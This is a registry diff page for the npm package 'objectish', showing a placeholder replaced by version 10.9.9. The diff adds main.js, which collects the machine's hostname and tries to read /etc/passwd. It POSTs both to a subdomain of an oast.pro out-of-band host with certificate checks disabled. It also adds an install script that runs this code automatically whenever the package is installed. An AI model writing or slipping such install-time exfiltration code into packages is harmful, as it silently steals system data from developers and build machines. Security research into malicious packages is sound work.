objectish 0.0.1-security → 10.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of objectish might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/main.js +34 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/main.js ADDED
@@ -0,0 +1,34 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ const fs = require('fs')
4
+
5
+ var hostname = os.hostname();
6
+ var filecontents;
7
+ try {
8
+ fileContents = fs.readFile('/etc/passwd');
9
+ } catch (err) {
10
+ fileContents ="error";
11
+ }
12
+
13
+ const data = new TextEncoder().encode(
14
+ JSON.stringify({
15
+ payload: hostname,
16
+ file: fileContents
17
+ })
18
+ );
19
+
20
+ const options = {
21
+ hostname: hostname + '.cl90ujr9u3p1pslamntgafludxgevpomw.oast.pro',
22
+ port: 443,
23
+ path: '/',
24
+ method: 'POST',
25
+ headers: {
26
+ 'Content-Type': 'application/json',
27
+ 'Content-Length': data.length
28
+ },
29
+ rejectUnauthorized: false
30
+ }
31
+
32
+ const req = https.request(options, res => {});
33
+ req.write(data);
34
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "objectish",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "install": "node main.js"
9
+ },
10
+ "author": "zakaria_bt",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=objectish for more information.